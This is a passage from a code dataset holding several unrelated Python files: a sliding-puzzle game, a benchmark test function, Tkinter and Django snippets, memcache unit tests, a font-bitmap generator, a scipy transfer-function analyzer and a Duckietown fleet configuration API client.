numbers = input().split(\" \")\n numbers = [int(number) for number in numbers]\n #numbers = [0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15]\n #random.shuffle(numbers)\n puzzle_board = []\n index = 0\n for _ in range(DIM):\n row = numbers[index:index + DIM]\n index += DIM\n puzzle_board.append(row)\n\n return puzzle_board\n \n\ndef display(puzzle_board):\n print()\n for i in range(DIM):\n for j in range(DIM):\n if puzzle_board[i][j] == EMPTYSLOT:\n print(\"\\t\", end=\"\")\n else:\n print(str(puzzle_board[i][j]) + \"\\t\", end=\"\")\n print()\n print()\n\n# Your code goes here...\ndef get_current_pos(puzzle_board,player_move):\n for i in range(DIM):\n for j in range(DIM):\n if puzzle_board[i][j] == player_move:\n return (i,j)\n\n\ndef get_player_move(puzzle_board):\n try: \n player_move = int(input())\n if player_move == QUIT:\n quit()\n else:\n return player_move\n except:\n display(puzzle_board)\n return get_move(puzzle_board)\n\ndef play(puzzle_board,player_move):\n current_pos = get_current_pos(puzzle_board,player_move)\n new_pos = get_new_pos(puzzle_board,current_pos)\n if new_pos != None:\n update_board(puzzle_board,current_pos,new_pos,player_move)\n\ndef get_new_pos(puzzle_board,current_pos):\n i, j = current_pos\n if j > 0 and puzzle_board[i][j-1] == EMPTYSLOT:\n return (i,j-1)\n if j < DIM-1 and puzzle_board[i][j+1] == EMPTYSLOT:\n return (i,j+1)\n if i > 0 and puzzle_board[i-1][j] == EMPTYSLOT:\n return (i-1,j)\n if i < DIM-1 and puzzle_board[i+1][j] == EMPTYSLOT:\n return (i+1,j)\n return None\n\n\ndef update_board(puzzle_board,current_pos,new_position,player_move):\n \"\"\"\n Commits changes to puzzle_board\n \"\"\"\n current_i,current_j = current_pos\n new_i,new_j = new_position\n puzzle_board[current_i][current_j] = EMPTYSLOT\n puzzle_board[new_i][new_j] = player_move\n\n\ndef check_win(puzzle_board):\n sorted_list = []\n board_list =[]\n for i in range(DIM):\n for j in range(DIM):\n board_list.append(puzzle_board[i][j])\n sorted_list = board_list.copy()\n sorted_list.sort()\n if sorted_list == board_list:\n print(\"You win!\")\n return False\n else:\n return True\n\n\ndef main():\n puzzle_board = initialize_board()\n display(puzzle_board) # Prints board\n keep_going = True\n while keep_going == True:\n player_move = get_player_move(puzzle_board) # Gets player move and handles except errors\n play(puzzle_board,player_move) # Changes puzzle board based on player input\n display(puzzle_board) # Prints updated puzzle board\n keep_going = check_win(puzzle_board) # Checks if numbers are in order and returns True/False\n\nmain()\n","sub_path":"PracticeExam2/SlidingPuzzle.py","file_name":"SlidingPuzzle.py","file_ext":"py","file_size_in_byte":4298,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"119589410","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\npark91b.py:\nPARK (1991) FUNCTION 2\n\nAuthors: Sonja Surjanovic, Simon Fraser University\n Derek Bingham, Simon Fraser University\n Sander van Rijn, Leiden University (Python port)\nQuestions/Comments: Please email Derek Bingham at dbingham@stat.sfu.ca.\n\nCopyright 2013. Derek Bingham, Simon Fraser University.\n\nTHERE IS NO WARRANTY, EXPRESS OR IMPLIED. WE DO NOT ASSUME ANY LIABILITY\nFOR THE USE OF THIS SOFTWARE. If software is modified to produce\nderivative works, such modified software should be clearly marked.\nAdditionally, this program is free software; you can redistribute it\nand/or modify it under the terms of the GNU General Public License as\npublished by the Free Software Foundation; version 2.0 of the License.\nAccordingly, this program is distributed in the hope that it will be\nuseful, but WITHOUT ANY WARRANTY; without even the implied warranty\nof MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\nGeneral Public License for more details.\n\nFor function details and reference information, see:\nhttp://www.sfu.ca/~ssurjano/\n\"\"\"\n\nimport numpy as np\n\nfrom .multiFidelityFunction import MultiFidelityFunction, row_vectorize\n\n\n@row_vectorize\ndef park91b_hf(xx):\n \"\"\"\n PARK (1991) FUNCTION 2\n\n INPUT:\n xx = [x1, x2, x3, x4]\n \"\"\"\n\n x1, x2, x3, x4 = xx.T\n\n term1 = (2 / 3) * np.exp(x1 + x2)\n term2 = -x4 * np.sin(x3)\n term3 = x3\n\n return term1 + term2 + term3\n\n\n@row_vectorize\ndef park91b_lf(xx):\n \"\"\"\n PARK (1991) FUNCTION 2, LOWER FIDELITY CODE\n Calls: park91b_hf\n This function, from Xiong et al. (2013), is used as the \"low-accuracy\n code\" version of the function park91b_hf.\n\n INPUT:\n xx = [x1, x2, x3, x4]\n \"\"\"\n\n yh = park91b_hf(xx)\n return 1.2 * yh - 1\n\n\nl_bound = [0, 0, 0, 0]\nu_bound = [1, 1, 1, 1]\n\npark91b = MultiFidelityFunction(\n \"park 91b\",\n u_bound, l_bound,\n [park91b_hf, park91b_lf],\n fidelity_names=['high', 'low']\n)\n","sub_path":"multifidelityfunctions/park91b.py","file_name":"park91b.py","file_ext":"py","file_size_in_byte":1973,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"110266457","text":"# https://en.wikipedia.org/wiki/Tkinter\n\nfrom tkinter import *\nfrom socDb import *\nfrom functools import partial\n\nsoc = socDb()\n\ndef divisionCb(whichDivision):\n print(\"division %s was pushed\" % whichDivision)\n\ndef facultyCb(whichFaculty):\n print(\"faculty %s was pushed\" % whichFaculty)\n\nroot = Tk() \ndivisions = soc.getDivisions()\ncolWidth = 20\nheaderFont = ('Sans','12','bold')\nbodyFont = ('Sans','12')\n\n#https://www.geeksforgeeks.org/how-to-pass-arguments-to-tkinter-button-command/\n#https://www.geeksforgeeks.org/partial-functions-python/\n#https://stackoverflow.com/questions/15331726/how-does-functools-partial-do-what-it-does\n#https://stackoverflow.com/questions/2297336/tkinter-specifying-arguments-for-a-function-thats-called-when-you-press-a-butt\n\nfor division in divisions:\n divisionFrame = Frame(root); divisionFrame.pack(side=LEFT, anchor=N)\n\n b = Button(divisionFrame, text=division, command=partial(divisionCb,division),\n width=colWidth, font=headerFont)\n b.pack(side=TOP)\n\n divisionFaculty = soc.getFacultyByDivision(division)\n for faculty in divisionFaculty:\n b = Button(divisionFrame, text=faculty, command=partial(facultyCb, faculty),\n font=bodyFont)\n b.pack(side=TOP, expand=True, fill=BOTH)\n\nroot.mainloop() \n\n\n### end ###\n","sub_path":"2021/07.2Dui/exTki07.py","file_name":"exTki07.py","file_ext":"py","file_size_in_byte":1352,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"29234940","text":"# チャージ履歴の取得\n\nfrom django.shortcuts import render, redirect\n\nfrom polls import models\nfrom polls.views.Class.Charge import Charge\n\n\ndef chargehistory(request):\n # ログインしているか確認する\n if not \"userid\" in request.session:\n return redirect(\"/polls/login\")\n\n if request.method == \"GET\":\n params = {\"charge\" : \"\"}\n try:\n userid = request.session[\"userid\"]\n charge = Charge().get_chargehistory(userid)\n params[\"charge\"] = charge\n except models.PollsCharginghistory.DoesNotExist as e:\n print(e)\n return render(request, \"polls/chargeHistory.html\", params)\n\n","sub_path":"polls/views/Screen/ChargeHistory.py","file_name":"ChargeHistory.py","file_ext":"py","file_size_in_byte":670,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"545512981","text":"import csv\nimport random\n\nlist_lottery = []\ncsv_file = open(\"./sample.csv\", \"r\", encoding=\"ms932\",\n errors=\"\", newline=\"\")\nf = csv.reader(csv_file, delimiter=\",\", doublequote=True,\n lineterminator=\"\\r\\n\", quotechar='\"', skipinitialspace=True)\nfor row in f:\n list_lottery.append([row[0], row[1]])\nlist_win = random.sample(list_lottery, 5)\nprint(list_win)\n","sub_path":"tools/lottery/bad_lottery.py","file_name":"bad_lottery.py","file_ext":"py","file_size_in_byte":386,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"311169356","text":"# coding: utf-8\n#\n# Copyright 2018 The Oppia Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS-IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"Tests for methods in the gae_memcache_services.\"\"\"\n\nfrom core.platform.memcache import gae_memcache_services\nfrom core.tests import test_utils\n\n\nclass GaeMemcacheServicesUnitTests(test_utils.GenericTestBase):\n \"\"\"Tests for gae_memcache_services.\"\"\"\n\n def setUp(self):\n super(GaeMemcacheServicesUnitTests, self).setUp()\n self.keys = ['a', 'b', 'c']\n self.key_value_mapping = {'a': 1, 'b': 2, 'c': 3}\n self.exp_list = gae_memcache_services.set_multi(self.key_value_mapping)\n\n def test_get_multi(self):\n exp_dict = gae_memcache_services.get_multi(self.keys)\n self.assertEqual(exp_dict, self.key_value_mapping)\n\n def test_set_multi(self):\n self.assertEqual(self.exp_list, [])\n\n def test_delete(self):\n return_code_key_present = gae_memcache_services.delete('a')\n return_code_key_not_present = gae_memcache_services.delete('d')\n self.assertEqual(return_code_key_present, 2)\n self.assertEqual(return_code_key_not_present, 1)\n\n def test_delete_multi(self):\n return_value_keys_present = gae_memcache_services.delete_multi(\n self.keys)\n return_value_keys_not_present = gae_memcache_services.delete_multi(\n ['d', 'e', 'f'])\n self.assertEqual(return_value_keys_present, True)\n self.assertEqual(return_value_keys_not_present, True)\n","sub_path":"core/platform/memcache/gae_memcache_services_test.py","file_name":"gae_memcache_services_test.py","file_ext":"py","file_size_in_byte":1991,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"407598480","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nfrom PIL import Image\nimport os\n\nfrom hwt.hdl.types.bits import Bits\nfrom pyMathBitPrecise.bit_utils import get_bit\n\n\n# Can be many different formats.\nim = Image.open(os.path.dirname(__file__) + \"/charToBitmap_font.png\")\npixels = im.load()\n\n\n# img is 8x16 array of bitmaps, each char is 8x8 pix big\ndef asciiArtOfChar(ch, inverted=True):\n ch = ord(ch)\n imgBuf = []\n\n for y in range(8):\n row = getCharRow(ch, y)\n lineBuf = []\n for x in range(8):\n pix = get_bit(row, 8 - x - 1)\n if inverted:\n pix = not pix\n\n if pix:\n pix = ' '\n else:\n pix = '#'\n lineBuf.append(pix)\n imgBuf.append(\"\".join(lineBuf))\n lineBuf.clear()\n\n return \"\\n\".join(imgBuf)\n\n\ndef getCharRow(charOrd, row):\n CHARS_PER_ROW = 32\n xpos = charOrd % CHARS_PER_ROW\n xbase = xpos * 8\n ypos = charOrd // CHARS_PER_ROW\n ybase = ypos * 8 + row\n\n for y in range(8):\n n = 0\n for x in range(8):\n pix = pixels[x + xbase, y + ybase]\n\n if pix != 0 and pix != 1:\n raise NotImplementedError(f\"Unimplemented color {pix}\")\n\n n |= (pix << (7 - x))\n return n\n\n\ndef addCharToBitmap():\n \"\"\"\n Add rom to translate ascii to 8x8 char bitmap,\n first row is placed on lower address,\n font is taken from png image\n\n :return: Bits(8)[128 * 8] where are stored bitmaps of chars,\n up is first lower char is first\n \"\"\"\n rom = []\n for ch in range(128):\n for row in range(8):\n rom.append(getCharRow(ch, row))\n\n return Bits(8)[128 * 8].from_py(rom)\n\n\nif __name__ == \"__main__\":\n print(asciiArtOfChar(\"a\", inverted=True))\n","sub_path":"hwtLib/img/charToBitmap.py","file_name":"charToBitmap.py","file_ext":"py","file_size_in_byte":1793,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"308452059","text":"#Project name: System analyzer, v.1.0: Based on the given transfer function of linear time invariant system,\n#various representations of the systems behavior are shown (pole - zero plot, Bode diagram, Nyquist diagram,...)\n#Author: Dino Cindric\n\nfrom scipy import signal\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport os\nimport sys\n\n\ndef save_fig ():\n\n save_check = input(\"Do you want to save current figure (Y/n) ? \")\n\n\n while(True):\n\n if (save_check == \"Y\" or save_check == \"y\"):\n file_name = input(\"Enter file name: \")\n plt.savefig(file_name)\n print(\"File saved successfully!\")\n break\n\n elif (save_check == \"n\" or save_check == \"N\"):\n break\n\n else:\n print(\"Wrong input, enter 'Y' for saving or 'n' for not saving current figure!\")\n \n\n\n#Calculating poles of the transfer function\ndef tf_poles (transfer_function):\n\n poles = transfer_function.poles\n print(\"\\nPoles of given transfer function: \")\n \n for i in poles:\n print(i)\n\n return poles\n\n\n#Calculating zeros of the transfer function\ndef tf_zeros (transfer_function):\n\n zeros = transfer_function.zeros\n print(\"\\nZeros of give transfer function: \")\n\n for i in zeros:\n print(i)\n\n return zeros\n\n\n#Creating pole-zero plot \ndef pole_zero_plot (poles, zeros):\n\n plt.figure()\n\n plt.title(\"Pole - zero plot\")\n plt.xlabel(\"Real axis\")\n plt.ylabel(\"Imaginary axis\")\n plt.grid()\n\n\n plt.plot(poles.real, poles.imag, 'rx', label = \"Poles\")\n plt.plot(zeros.real, zeros.imag, 'bo', label = \"Zeros\")\n plt.legend()\n \n plt.tight_layout()\n save_fig()\n\n#Displaying Bode diagram\ndef bode_diagram (transfer_function):\n\n #Calculating Bode magnitude and phase data from given transfer function of LTI\n w, mag, phase = signal.bode(transfer_function)\n\n #Figure with 2 rows and 1 column - first for amplitude, second for phase data\n plt.subplot(2,1,1)\n plt.title(\"Bode diagram\")\n\n #Plotting amplitude vs frequency graph\n plt.semilogx(w, mag)\n plt.grid()\n plt.xlabel(\"Frequency (rad/s)\")\n plt.ylabel(\"Amplitude (dB)\")\n\n\n #Plotting phase vs frequency graph\n plt.subplot(2,1,2)\n plt.semilogx(w, phase)\n plt.grid()\n plt.xlabel(\"Frequency (rad/s)\")\n plt.ylabel(\"Phase (deg)\")\n\n save_fig()\n\n\n\n#Displaying Nyquist diagram\ndef nyquist_diagram (transfer_function):\n w, H = signal.freqresp(transfer_function)\n\n plt.figure()\n plt.title(\"Nyquist diagram\")\n plt.xlabel(\"Real axis\")\n plt.ylabel(\"Imaginary axis\")\n plt.grid()\n \n plt.plot(H.real, H.imag, \"b\")\n plt.plot(H.real, -H.imag, \"b\")\n\n plt.tight_layout()\n # plt.savefig(\"Nyquist diagram\")\n save_fig()\n\n#Calculating and displaying impulse response of the system\ndef impulse_response (transfer_function):\n\n #Impulse method returns two n-dimensional arrays: t (time) and y (response values)\n #Dimensions of each array can be specified with additional arguments\n t, y = signal.impulse(transfer_function)\n \n plt.figure()\n plt.title(\"Impulse response of the system\")\n plt.xlabel(\"t\")\n plt.ylabel(\"y\")\n plt.grid()\n\n #Plot y vs t \n plt.plot(t, y)\n plt.tight_layout()\n\n save_fig()\n\n#Calculating and displaying step response of the system\ndef step_response (transfer_function):\n\n #Step method returns two n-dimensional arrays: t (time) and y (response values)\n #Dimensions of each array can be specified with additional arguments\n t, y = signal.step(transfer_function)\n\n plt.figure()\n plt.title(\"Step response of the system\")\n plt.xlabel(\"t\")\n plt.ylabel(\"y\")\n plt.grid()\n\n #Plot y vs t\n plt.plot(t, y)\n plt.tight_layout()\n\n save_fig()\n\n\n#Input of data necessary to create transfer function of the system\ndef data_input ():\n\n while(True):\n\n num_order = int(input(\"Enter numerator order: \"))\n den_order = int(input(\"Enter denominator order: \"))\n\n if (num_order > den_order):\n print(\"Order of numerator must be lower or equal to the order of denominator!\")\n else:\n break\n\n num_coeff = [None] * (num_order + 1)\n den_coeff = [None] * (den_order + 1)\n\n #Input of numerator coeff.\n for i in range(len(num_coeff)):\n print(\"Enter \", len(num_coeff) - i - 1, \". numerator coefficent:\")\n num_coeff[i] = float(input(\" \"))\n\n\n #Input of denominator coeff.\n for i in range(len(den_coeff)):\n print(\"Enter \", len(den_coeff) - i - 1, \". denominator coefficent:\")\n den_coeff[i] = float(input(\" \"))\n \n return num_coeff, den_coeff\n\n\n\n\nnum_coeff, den_coeff = data_input()\n \n\n#Creating transfer function from numerator and denominator\ntf = signal.TransferFunction(num_coeff, den_coeff) \n\npoles = tf_poles(tf) \nzeros = tf_zeros(tf)\n\n\npole_zero_plot(poles, zeros)\nbode_diagram(tf)\nnyquist_diagram(tf)\nimpulse_response(tf)\nstep_response(tf)\n","sub_path":"system.py","file_name":"system.py","file_ext":"py","file_size_in_byte":5010,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"606386501","text":"#!/usr/bin/env python3\n#This script is part of the DT Architecture Library for dt-commons\n\nimport yaml\nimport docker\nimport os\nimport git\nimport glob\nimport requests\nimport json\n\nfrom .multi_arch_worker import MultiApiWorker\nfrom .clean_fleet import CleanFleet\n#from .listener import FleetScanner\n\n#Import from another folder within dt-commons (no base image)\nfrom .arch_client import ArchAPIClient\nfrom .arch_message import ApiMessage\n\n'''\n THIS LIB INCLUDES FUNCTIONS THAT ALLOW TO COMMUNICATE WITH AN EXTENDED\n ARCHITECTURE API RUNNING ON A SINGLE (PRIVILEGED) ROBOT AND ALLOW TO CONTROL\n A SO CALLED FLEET THROUGH THIS ROBOT BY PASSING A SINGLE HTTP COMMAND. NOTE\n THAT THIS LIB DOES NOT SPECIFY THE REQUIRED API, I.E. THE REQUIRED SERVER IS\n NOT RUNNING WITHIN THE LIBRARY.\n'''\n\nclass MultiArchAPIClient:\n def __init__(self, client=None, port=\"8083\"): #fleet as yaml file without .yaml\n self.client = client\n self.port = port\n\n #Initialize folders and classes\n self.current_configuration = \"none\"\n self.dt_version = \"daffy\"\n self.status = ApiMessage()\n self.cl_fleet = CleanFleet()\n #self.scan = FleetScanner()\n\n #Define robot_type\n self.robot_type = \"none\"\n if os.path.isfile(\"/data/config/robot_type\"):\n self.robot_type = open(\"/data/config/robot_type\").readline()\n elif os.path.isfile(\"/data/stats/init_sd_card/parameters/robot_type\"):\n self.robot_type = open(\"/data/stats/init_sd_card/parameters/robot_type\").readline()\n else: #error upon initialization\n self.status(\"error\", \"Could not find robot type in expected paths\", None)\n\n #Give main robot an ArchAPIClient\n self.main_name = os.environ['VEHICLE_NAME']\n self.main_api = ArchAPIClient(hostname=self.main_name, robot_type=self.robot_type, client=self.client)\n self.config_path = self.main_api.config_path\n self.module_path = self.main_api.module_path\n self.id_list = dict() #store process log - replace with multiprocessing.Manager()?\n\n\n #RESPONSE MESSAGES: extended with device info from fleet file\n def default_response(self, fleet):\n #Initialize worker with fleet and port\n fleet = self.cl_fleet.clean_list(fleet)\n self.work = MultiApiWorker(fleet=fleet, port=self.port)\n\n #Initialize with main response\n empty = {}\n def_response_list = self.main_api.default_response()\n\n if def_response_list[\"data\"] is empty: #error\n return def_response_list\n else: #healthy\n def_response_list[\"data\"] = {}\n #Replace with messages from fleet\n for name in fleet:\n def_response_list[\"data\"][name] = self.work.http_get_request(device=name, endpoint='/')\n return def_response_list\n\n\n def configuration_status(self, fleet):\n #Initialize worker with fleet and port\n fleet = self.cl_fleet.clean_list(fleet)\n self.work = MultiApiWorker(fleet=fleet, port=self.port)\n\n #Initialize with main response\n config_status_list = {}\n config_status_list = self.main_api.configuration_status()\n\n for name in fleet:\n config_status_list[\"data\"][name] = self.work.http_get_request(device=name, endpoint='/configuration/status')\n return config_status_list\n\n\n \"\"\"\n def configuration_list(self, fleet):\n #Initialize worker with fleet and port\n fleet = self.cl_fleet.clean_list(fleet)\n self.work = MultiApiWorker(fleet=fleet, port=self.port)\n fleet_scan = self.scan.device_list\n\n #available robot_types in current fleet\n type_list = []\n for name in fleet:\n if name in fleet_scan[\"duckiebot\"]:\n if \"duckiebot\" not in type_list:\n type_list = type_list.append(\"duckiebot\")\n if name in fleet_scan[\"watchtower\"]:\n if \"watchtower\" not in type_list:\n type_list = type_list.append(\"watchtower\")\n if name in fleet_scan[\"greenstation\"]:\n if \"greenstation\" not in type_list:\n type_list = type_list.append(\"greenstation\")\n if name in fleet_scan[\"duckiedrone\"]:\n if \"duckiedrone\" not in type_list:\n type_list = type_list.append(\"duckiedrone\")\n if name in fleet_scan[\"town\"]:\n if \"town\" not in type_list:\n type_list = type_list.append(\"town\")\n\n #check which configurations are possible for the present robot_types\n config_list = {}\n if self.config_path is not None:\n config_paths = glob.glob(self.config_path + \"/*.yaml\")\n config_list[\"configurations\"] = [os.path.splitext(os.path.basename(f))[0] for f in config_paths]\n #open all and check device requirements\n for config in config_list[\"configurations\"]:\n try:\n with open(self.config_path + \"/\" + config + \".yaml\", 'r') as file:\n config_info = yaml.load(file, Loader=yaml.FullLoader)\n if \"devices\" in config_info:\n for type in config_info[\"devices\"]:\n if type not in type_list:\n #as soon as type is not present in fleet, remove configuration possiblity\n del config_list[\"configurations\"][config]\n\n except FileNotFoundError: #error msg\n self.status.msg[\"status\"] = \"error\"\n self.status.msg[\"message\"] = \"Configuration file not found in \" + self.config_path + \"/\" + config + \".yaml\"\n self.status.msg[\"data\"] = {}\n return {}\n else: #error msg\n self.status.msg[\"status\"] = \"error\"\n self.status.msg[\"message\"] = \"could not find configurations for \" + self.robot_type + \" in dt-architecture-data\"\n self.status.msg[\"data\"] = {}\n return {}\n\n #only list possible configurations for the robot_types in fleet\n return config_list\n \"\"\"\n\n def configuration_info(self, config):\n #Initialize worker with fleet and port\n #fleet = self.cl_fleet.clean_list(fleet)\n #self.work = MultiApiWorker(fleet=fleet, port=self.port)\n\n #Initialize with main response\n config_info_list = self.main_api.configuration_info(config)\n if self.status.msg[\"status\"] == \"error\":\n #Do not proceed with messages from fleet\n return {}\n else:\n try:\n with open(self.config_path + \"/\" + config + \".yaml\", 'r') as file: #\"/data/assets/dt-architecture-data/configurations/town/\"\n device_info = yaml.load(file, Loader=yaml.FullLoader)\n #print(device_info)\n #print(\"devices\" in device_info)\n if \"devices\" in device_info:\n for device in device_info[\"devices\"]:\n if \"configuration\" in device_info[\"devices\"][device]:\n c_name = device_info[\"devices\"][device][\"configuration\"] #save config name\n if c_name is not {}:\n device_info[\"devices\"][device][\"configuration\"] = {} #initialize for config info\n #dt-architecture-data configurations depend on robot_type\n new_robot_type_as_device = ArchAPIClient(robot_type=device)\n device_info[\"devices\"][device][\"configuration\"][c_name] = {}\n device_info[\"devices\"][device][\"configuration\"][c_name] = new_robot_type_as_device.configuration_info(config=c_name)\n\n config_info_list[\"devices\"] = device_info[\"devices\"]\n\n return config_info_list\n\n except FileNotFoundError: #error msg\n self.status.msg[\"status\"] = \"error\"\n self.status.msg[\"message\"] = \"Configuration file not found in \" + self.config_path + \"/\" + config + \".yaml\"\n self.status.msg[\"data\"] = {}\n return {}\n #print(self.status.error(status=\"error\", msg=\"Configuration file not found in \" + self.config_path + \"/\" + config + \".yaml\"))\n\n\n def configuration_set_config(self, config, fleet):\n #Initialize worker with fleet and port\n fleet = self.cl_fleet.clean_list(fleet)\n fleet_name = self.cl_fleet.fleet\n self.work = MultiApiWorker(fleet=fleet, port=self.port)\n\n #Check if there is any busy process in the fleet\n cl_list = self.clearance_list(fleet)\n nogo = {}\n for name in fleet:\n if cl_list[name][\"status\"] == \"busy\":\n nogo[name] = cl_list[name]\n if nogo != {}:\n return nogo\n\n #Initialize with main response\n main_set_config = self.main_api.configuration_set_config(config)\n #Create list\n self.id_list[fleet_name] = main_set_config\n print(self.id_list)\n self.id_list[fleet_name][\"data\"] = {}\n #Include messages from fleet\n for name in fleet:\n self.id_list[fleet_name][\"data\"][name] = self.work.http_get_request(device=name, endpoint='/configuration/set/' + config)\n return self.id_list[fleet_name]\n\n\n def monitor_id(self, id, fleet):\n #Initialize worker with fleet and port\n fleet = self.cl_fleet.clean_list(fleet)\n fleet_name = self.cl_fleet.fleet\n self.work = MultiApiWorker(fleet=fleet, port=self.port)\n\n #Initialize with main response\n monitor_id = self.main_api.monitor_id(id)\n\n\n #This is only required outside of Dashboard, as Dashboard automatically uses most recent id\n ########################################################################################################\n #Is there a process going on?\n if fleet_name in self.id_list:\n #Check if id is a match with most recent process on main device\n if int(self.id_list[fleet_name]['job_id']) == int(id):\n #Initialize list\n monitor_list = monitor_id\n monitor_list[\"data\"] = {}\n #Include messages from fleet\n id_list = self.id_list[fleet_name][\"data\"]\n for name in fleet:\n monitor_list[\"data\"][name] = self.work.http_get_request(device=name, endpoint='/monitor/' + str(id_list[name][\"job_id\"]))\n return monitor_list\n else: #false id\n self.status.msg[\"status\"] = \"error\"\n self.status.msg[\"message\"] = \"The specified id does not match most recent process for fleet \" + fleet_name\n self.status.msg[\"data\"] = {}\n return {}\n else: #no process\n self.status.msg[\"status\"] = \"error\"\n self.status.msg[\"message\"] = \"There is no process for fleet \" + fleet_name\n self.status.msg[\"data\"] = {}\n return {}\n ########################################################################################################\n\n\n def info_fleet(self, fleet):\n #Initialize worker with fleet and port\n fleet = self.cl_fleet.clean_list(fleet)\n fleet_name = self.cl_fleet.fleet\n self.work = MultiApiWorker(fleet=fleet, port=self.port)\n\n #Initialize with main response\n try:\n with open(self.cl_fleet.fleet_path + fleet_name + \".yaml\", 'r') as file: #replace with data/config/fleets/...\n info_fleet = yaml.load(file, Loader=yaml.FullLoader)\n return info_fleet\n except FileNotFoundError: #error msg\n self.status.msg[\"status\"] = \"error\"\n self.status.msg[\"message\"] = \"Fleet file not found in /data/assets/.../lists/\" + fleet_name + \".yaml\" #replace with data/config/fleets/...\n self.status.msg[\"data\"] = {}\n return {}\n\n\n #def fleet_scan(self):\n # return self.scan.device_list #see configuration_info as well for use!\n # FleetScanner(service_in_callback=cb)\n # #don't use a fleet, just return all available devices on the network,\n # #as a function that can be used by calling the architecture API\n # self.available_devices = {}\n # self.available_devices[\"available devices\"], self.appear_msgs = self.scan.listen_to_network()\n # return self.available_devices\n\n\n def clearance_list(self, cl_fleet):\n #Note: this already takes in a clean fleet list\n #Initialize with main response\n cl_list = {}\n cl_list[self.main_name] = self.main_api.clearance()\n\n #Proceed with fleet devices\n for name in cl_fleet:\n cl_list[name] = self.work.http_get_request(device=name, endpoint='/clearance')\n return cl_list\n\n\n\n\"\"\"\n def something(self):\n ########################################################################################################\n #All processes on this device have been stored in self.id_list\n if self.id_list != {}:\n #First go through all main device information\n for any_fleet_so_far in self.id_list:\n #Check if main device has process running - avoid expensive status loop for fleet devices\n if self.id_list[any_fleet_so_far] != \"busy\": #should never happen here\n if self.id_list[any_fleet_so_far][\"status\"] in {\"pending\", \"processing\", \"error\"}:\n busy_id = self.id_list[any_fleet_so_far]['job_id']\n self.status.msg[\"status\"] = \"error\"\n self.status.msg[\"message\"] = \"Cannot set \" + config + \" while\" + self.main_name + \" has a process going on - use device/monitor/\" + busy_id\n self.status.msg[\"data\"] = {}\n return \"busy\"\n else: #should never happen, as you don't ask it to start a new process\n self.status.msg[\"status\"] = \"error\"\n self.status.msg[\"message\"] = \"Cannot set \" + config + \" while\" + self.main_name \" is busy\"\n self.status.msg[\"data\"] = {}\n return \"busy\"\n #note, do not name two different fleets with the same name!\n #should give error from Dashboard\n\n #Only now, when main not busy, go through all fleet information belonging to this device\n for any_fleet_so_far in self.id_list:\n #Was device in fleet part of any previous fleet or process?\n for name in fleet:\n if name in self.id_list[any_fleet_so_far][\"data\"]:\n if self.id_list[any_fleet_so_far][\"data\"][name] != \"busy\": #should never happen here\n if self.id_list[any_fleet_so_far][\"data\"][name][\"status\"] in {\"pending\", \"processing\", \"error\"}:\n busy_id = self.id_list[any_fleet_so_far][\"data\"][name]['job_id']\n self.status.msg[\"status\"] = \"error\"\n self.status.msg[\"message\"] = \"Cannot set \" + config + \" while\" + name + \" in fleet has a process going on - use fleet/monitor/\" + busy_id +\"/\" + fleet_name\n self.status.msg[\"data\"] = {}\n return \"busy\"\n else: #should never happen, as you don't ask it to start a new process\n self.status.msg[\"status\"] = \"error\"\n self.status.msg[\"message\"] = \"Cannot set \" + config + \" while\" + name \" in fleet is busy\"\n self.status.msg[\"data\"] = {}\n return \"busy\"\n ########################################################################################################\n\n def fleet(self):\n #Check if any device is busy from last process where it was part of any fleet so far\n current_id = main_set_config['job_id']\n monitor_check = self.monitor_id(current_id, fleet_name)\n #Check if there was a previous process for this fleet and device that was saved\n #Note: if another fleet was used with overlapping devices, there will be no check - cannot be!!\n for any_fleet_so_far in self.id_list:\n #note, do not name two different fleets with the same name!\n for name in fleet:\n if self.id_list[any_fleet_so_far][\"data\"][name]:\n if self.ok is no:\n self.not_ok\n #as soon as there is a device from THIS fleet busy, abort\n return {}\n if fleet_name in self.id_list:\n #if so, check if there is any process 'busy'\n for name in fleet:\n if self.id_list[fleet_name][\"data\"][\"\"] == \"busy\":\n self.status.msg[\"status\"] = \"error\"\n self.status.msg[\"message\"] = \"Could not set \" + config + \" while a fleet device is busy - use fleet/monitor/<\" + main_set_config['job_id'] +\">/<\" + fleet_name + \">\"\n self.status.msg[\"data\"] = {}\n return {}\n\n\n def configuration_list(self, fleet=None):\n #Initialize worker with fleet and port\n fleet = self.cl_fleet.clean_list(fleet)\n self.work = MultiApiWorker(fleet=fleet, port=self.port)\n\n #SCAN FLEET = LISTEN TO AVAHI SERVICES\n config_list = {} #re-initialize every time called for (empty when error)\n current_fleet = self.scan.for_devices\n config_list[str(self.main_name)] = self.main_api.configuration_list\n if self.config_path is not None:\n config_paths = glob.glob(self.config_path + \"/*.yaml\")\n config_list[\"configurations\"] = [os.path.splitext(os.path.basename(f))[0] for f in config_paths]\n else: #error msg\n self.status[\"status\"] = \"error\"\n self.status[\"message\"].append(\"could not find configurations (dt-docker-data)\")\n return self.status\n return 